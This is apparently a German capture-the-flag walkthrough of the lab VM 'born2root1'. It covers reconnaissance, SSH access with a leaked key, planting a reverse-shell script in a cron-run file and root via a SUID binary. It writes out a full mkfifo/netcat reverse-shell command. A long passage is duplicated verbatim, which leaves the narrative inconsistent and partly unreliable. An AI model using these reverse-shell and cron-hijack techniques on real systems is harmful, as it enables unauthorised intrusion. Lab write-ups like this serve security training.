In dieser Phase beginnen wir mit der Informationsbeschaffung über das Zielsystem. Zuerst führen wir einen ARP-Scan durch, um die IP-Adresse und die MAC-Adresse des Ziels im lokalen Netzwerk zu ermitteln. Dies ist ein grundlegender Schritt, um das Ziel zu identifizieren und die Netzwerkkommunikation vorzubereiten.
Nachdem wir die IP-Adresse des Ziels (192.168.2.129) und die zugehörige MAC-Adresse (08:00:27:84:43:c4) ermittelt haben, fügen wir diese in die Datei `/etc/hosts` ein, um die Namensauflösung zu vereinfachen. Dies ermöglicht uns, das Ziel über den Hostnamen `born2root1.vln` anzusprechen, was die Lesbarkeit und Wartbarkeit der nachfolgenden Befehle verbessert.
Als Nächstes führen wir einen umfassenden Nmap-Scan durch, um offene Ports, laufende Dienste und Betriebssysteminformationen zu ermitteln. Die Option `-sS` aktiviert den SYN-Scan, der schnell und unauffällig ist. `-sC` führt Standard-Skripte aus, um detaillierte Informationen zu den Diensten zu erhalten. `-sV` aktiviert die Versionserkennung, um die genauen Softwareversionen zu ermitteln. `-A` aktiviert aggressive Scans, einschließlich Betriebssystemerkennung und Traceroute. `-p-` scannt alle 65535 Ports. `-Pn` überspringt die Host-Erkennung, was nützlich ist, wenn Firewalls ICMP-Anfragen blockieren. `--min-rate 5000` erhöht die Scangeschwindigkeit. `grep open` filtert die Ausgabe, um nur offene Ports anzuzeigen.
Die Ergebnisse zeigen, dass die Ports 22 (SSH), 80 (HTTP), 111 (rpcbind) und 57154 (status) offen sind. Dies deutet auf einen Webserver, einen SSH-Dienst und RPC-Dienste hin. Wir wiederholen den Nmap-Scan ohne den Grep-Filter, um die vollständigen Ergebnisse zu erhalten.
Die vollständigen Nmap-Ergebnisse liefern zusätzliche Details, wie z.B. die SSH-Hostkeys, den HTTP-Titel ("Secretsec Company"), die Apache-Version und die Einträge in der `robots.txt`-Datei. Diese Informationen sind wertvoll für die weitere Analyse und die Suche nach potenziellen Schwachstellen.
Um weitere Informationen über den Webserver zu erhalten, verwenden wir `curl -Iv` , um die HTTP-Header abzurufen. Die Option `-I` sendet eine HEAD-Anfrage, wodurch nur die Header zurückgegeben werden. Die Option `-v` aktiviert den verbose-Modus, der zusätzliche Informationen über die Anfrage und die Antwort anzeigt.
Die HTTP-Header bestätigen, dass ein Apache 2.4.10 Webserver läuft. Der `Last-Modified`-Header und der `ETag`-Header können nützliche Informationen liefern. Der `ETag`-Header könnte möglicherweise zur Identifizierung von Inodes verwendet werden, was jedoch eine ältere Schwachstelle ist (CVE-2003-1418).
Wir verwenden Nikto, um den Webserver auf bekannte Schwachstellen zu scannen. Nikto ist ein Open-Source-Webserver-Scanner, der nach gefährlichen Dateien, veralteter Software und anderen Sicherheitsproblemen sucht.
Nikto identifiziert mehrere interessante Punkte: Das Fehlen von Clickjacking- und Content-Type-Options-Headern, die Erlaubnis für den Zugriff auf `/wordpress-blog/` und `/files/` in der `robots.txt`-Datei, die Directory Indexing in `/files/`, `/icons/` und `/manual/images/`, die veraltete Apache-Version und die potenzielle Inode-Offenlegung über ETags. Diese Ergebnisse deuten auf mögliche Sicherheitslücken hin, die wir weiter untersuchen sollten.
Wir verwenden Gobuster, um versteckte Verzeichnisse und Dateien auf dem Webserver zu finden. Die Option `-u` gibt die Ziel-URL an. `-w` gibt die Wordlist an, die für das Brute-Forcing verwendet wird. `-x` gibt die Dateierweiterungen an, nach denen gesucht werden soll. `-b` filtert bestimmte HTTP-Statuscodes heraus (503, 404, 403). `-e` gibt an, dass erweiterte Ergebnisse angezeigt werden sollen. `--no-error` unterdrückt Fehlermeldungen. `-k` ignoriert SSL-Zertifikatswarnungen.
Gobuster bestätigt die Existenz von `/index.html`, `/icons/`, `/files/`, `/manual/` und `/robots.txt`. Die Statuscodes (200 oder 301) zeigen an, dass diese Ressourcen zugänglich sind. Dies liefert uns eine Ausgangsbasis für die weitere Untersuchung der Webanwendung.
Wir untersuchen die Inhalte der Webseite.
Die Webseite scheint die einer Sicherheitsfirma zu sein. Interessant sind die genannten Namen (Martin N, Hadi M, Jimmy S) und die E-Mail-Adresse (martin@secretsec.com), da diese als Benutzernamen für Brute-Force-Angriffe verwendet werden könnten.
Wir untersuchen den Ordner "/icons/", um zu schauen was sich darin befindet.
Wir haben einen RSA Private Key gefunden. Wir versuchen nun, uns via SSH anzumelden.
Wir versuchen, uns mit dem gefundenen privaten Schlüssel via SSH als Benutzer martin anzumelden. Da der Schlüssel im OpenSSH-Format vorliegt und der Server möglicherweise modernere Schlüsseltypen bevorzugt, verwenden wir die Option `-o PubkeyAcceptedKeyTypes=ssh-rsa`, um den RSA-Schlüssel explizit zu aktivieren.
Die Anmeldung war erfolgreich! Wir sind jetzt als Benutzer `martin` angemeldet. Das System fordert ein "secret password" an. Nach der Eingabe von "secretsec" erhalten wir eine Shell. Nun versuchen wir, unsere Privilegien zu erhöhen.
Zuerst prüfen wir, ob der Benutzer `martin` Sudo-Rechte besitzt.
`sudo` ist nicht verfügbar. Als Nächstes suchen wir nach SUID-Binärdateien, die von `martin` ausgeführt werden können. SUID-Binärdateien werden mit den Privilegien des Besitzers ausgeführt, was in diesem Fall `root` sein könnte.
Die Liste der SUID-Binärdateien ist lang. Wir konzentrieren uns auf Binärdateien, die bekanntermaßen für Privilegieneskalation missbraucht werden können, wie z.B. `mount`, `umount`, `su` und `passwd`. Wir prüfen die Datei `/etc/crontab`, um zu sehen, ob es geplante Aufgaben gibt, die wir ausnutzen könnten.
Wir stellen fest, dass der Benutzer `jimmy` alle 5 Minuten ein Python-Skript (`/tmp/sekurity.py`) ausführt. Dies ist ein potenzielles Einfallstor für die Privilegieneskalation, da wir das Skript manipulieren könnten. Wir prüfen den Inhalt und die Berechtigungen des Skripts.
Das Skript ist nicht vorhanden. Dies ist seltsam, da es in der Crontab aufgeführt ist. Vielleicht wird es dynamisch erstellt oder gelöscht. Wir wechseln in das Verzeichnis `/dev/shm/`, das oft für temporäre Dateien verwendet wird, um zu sehen, ob sich das Skript dort befindet.
Das Skript ist auch im `/dev/shm/` Verzeichnis nicht vorhanden. Wir versuchen, die Datei direkt zu finden, um sicherzustellen, dass sie nicht einfach versteckt ist.
Die Datei `/tmp/sekurity.py` existiert definitiv nicht. Da das Skript alle 5 Minuten ausgeführt wird, erstellen wir eine eigene Version von `/tmp/sekurity.py` mit einem Reverse-Shell-Payload, um als Benutzer `jimmy` eine Shell zu erhalten.
Wir erstellen die Datei `/tmp/sekurity.py` mit dem Reverse-Shell-Payload.
Wir überprüfen den Inhalt der Datei.
Wir machen das Skript ausführbar.
Wir wechseln zurück in unser Home-Verzeichnis.
Wir überprüfen die Bash-History, um zu sehen, ob wir interessante Informationen finden können.
Die Bash-History zeigt, dass der Benutzer `martin` versucht hat, Root-Rechte zuerlangen (mittels `su root`), und dass er Dateien im Verzeichnis `/var/www/html/icons/` verschoben hat. Dies ist ein Hinweis darauf, dass wir uns dieses Verzeichnis genauer ansehen sollten.
Wir suchen nach der Datei `VdXAsKisAI.txt.png`, die in der Bash-History erwähnt wird.
Die Datei `VdXAsKisAI.txt.png` wurde nicht gefunden, aber eine Datei namens `VdXAsKisAI.php` im Verzeichnis `/usr/share/apache2/icons/`. Dies deutet darauf hin, dass die Datei umbenannt wurde oder dass es sich um eine PHP-Datei handelt, die den privaten Schlüssel enthält. Wir zeigen den Inhalt dieser Datei an.
Die Datei enthält den privaten Schlüssel! Dies bestätigt, dass wir den Schlüssel bereits auf dem System gefunden hatten. Es ist unklar, warum die Datei eine `.php`-Endung hat. Es könnte ein Versuch sein, die Datei zu verstecken oder zu verschleiern.
Wir versuchen, uns nun via SSH mit diesem Key anzumelden, dies hat aber nicht funktioniert. Dann schauen wir uns mal die Reverse Shell von Jimmy an.
Wir probieren einen anderen Ansatz aus.
Wir schauen uns nun die Reverse Shell des Jimmys genauer an.
Wir starten einen Netcat-Listener auf Port 9001, um die Reverse Shell zu empfangen.
Wir haben eine Shell als Benutzer `jimmy` erhalten! Dies ist ein wichtiger Schritt, da wir nun die Privilegien eines anderen Benutzers haben. Als Nächstes untersuchen wir die Rechte des Benutzers `jimmy`.
`sudo` ist auch für `jimmy` nicht verfügbar. Wir suchen erneut nach SUID-Binärdateien.
Wir sehen eine interessante Datei: `-rwsrwxrwx 1 root root 7496 juin 9 2017 networker`. Diese Datei hat das SUID-Bit gesetzt und ist für alle ausführbar. Dies bedeutet, dass jeder Benutzer, der diese Datei ausführt, dies mit Root-Privilegien tut. Dies ist ein klares Ziel für die Privilegieneskalation! Wir versuchen, diese Datei auszuführen.
Die Ausführung von `networker` schlägt fehl, da ein Befehl namens `bopscrk` nicht gefunden wird. Dies deutet darauf hin, dass `networker` von einer bestimmten Umgebung abhängig ist. Um dies zu beheben, erstellen wir eine interaktive Shell und leiten die Ein- und Ausgabe über Netcat um.
Dieser Befehl erstellt eine interaktive Shell und leitet sie über Netcat um. `rm /tmp/f` versucht, eine möglicherweise vorhandene FIFO-Datei zu entfernen. `mkfifo /tmp/f` erstellt eine FIFO-Datei (named pipe). `cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 5555 >/tmp/f` leitet die Eingabe von `/tmp/f` an `/bin/sh -i` (interaktive Shell) weiter, leitet sowohl Standardausgabe als auch Standardfehler an `nc 192.168.2.199 5555` (Netcat-Verbindung zum Angreifer) weiter und leitet die Ausgabe von Netcat zurück an `/tmp/f`.
Die Ausgabe "rm: impossible de supprimer /tmp/f : Aucun fichier ou dossier de ce type" deutet darauf hin, dass die FIFO-Datei noch nicht existiert. Wir starten nun einen Netcat-Listener auf unserem System, um die Reverse Shell zu empfangen.
Privilege Escalation erfolgreichWir suchen nach der Datei `VdXAsKisAI.txt.png`, die in der Bash-History erwähnt wird.
Die Datei `VdXAsKisAI.txt.png` wurde nicht gefunden, aber eine Datei namens `VdXAsKisAI.php` im Verzeichnis `/usr/share/apache2/icons/`. Dies deutet darauf hin, dass die Datei umbenannt wurde oder dass es sich um eine PHP-Datei handelt, die den privaten Schlüssel enthält. Wir zeigen den Inhalt dieser Datei an.
Die Datei enthält den privaten Schlüssel! Dies bestätigt, dass wir den Schlüssel bereits auf dem System gefunden hatten. Es ist unklar, warum die Datei eine `.php`-Endung hat. Es könnte ein Versuch sein, die Datei zu verstecken oder zu verschleiern.
Wir versuchen, uns nun via SSH mit diesem Key anzumelden, dies hat aber nicht funktioniert. Dann schauen wir uns mal die Reverse Shell von Jimmy an.
Wir probieren einen anderen Ansatz aus.
Wir schauen uns nun die Reverse Shell des Jimmys genauer an.
Wir starten einen Netcat-Listener auf Port 9001, um die Reverse Shell zu empfangen.
Wir haben eine Shell als Benutzer `jimmy` erhalten! Dies ist ein wichtiger Schritt, da wir nun die Privilegien eines anderen Benutzers haben. Als Nächstes untersuchen wir die Rechte des Benutzers `jimmy`.
`sudo` ist auch für `jimmy` nicht verfügbar. Wir suchen erneut nach SUID-Binärdateien.
Wir sehen eine interessante Datei: `-rwsrwxrwx 1 root root 7496 juin 9 2017 networker`. Diese Datei hat das SUID-Bit gesetzt und ist für alle ausführbar. Dies bedeutet, dass jeder Benutzer, der diese Datei ausführt, dies mit Root-Privilegien tut. Dies ist ein klares Ziel für die Privilegieneskalation! Wir versuchen, diese Datei auszuführen.
Die Ausführung von `networker` schlägt fehl, da ein Befehl namens `bopscrk` nicht gefunden wird. Dies deutet darauf hin, dass `networker` von einer bestimmten Umgebung abhängig ist. Um dies zu beheben, erstellen wir eine interaktive Shell und leiten die Ein- und Ausgabe über Netcat um.
Dieser Befehl erstellt eine interaktive Shell und leitet sie über Netcat um. `rm /tmp/f` versucht, eine möglicherweise vorhandene FIFO-Datei zu entfernen. `mkfifo /tmp/f` erstellt eine FIFO-Datei (named pipe). `cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 5555 >/tmp/f` leitet die Eingabe von `/tmp/f` an `/bin/sh -i` (interaktive Shell) weiter, leitet sowohl Standardausgabe als auch Standardfehler an `nc 192.168.2.199 5555` (Netcat-Verbindung zum Angreifer) weiter und leitet die Ausgabe von Netcat zurück an `/tmp/f`.
Die Ausgabe "rm: impossible de supprimer /tmp/f : Aucun fichier ou dossier de ce type" deutet darauf hin, dass die FIFO-Datei noch nicht existiert. Wir starten nun einen Netcat-Listener auf unserem System, um die Reverse Shell zu empfangen.
Privilege Escalation erfolgreichHier ist die Root Flag.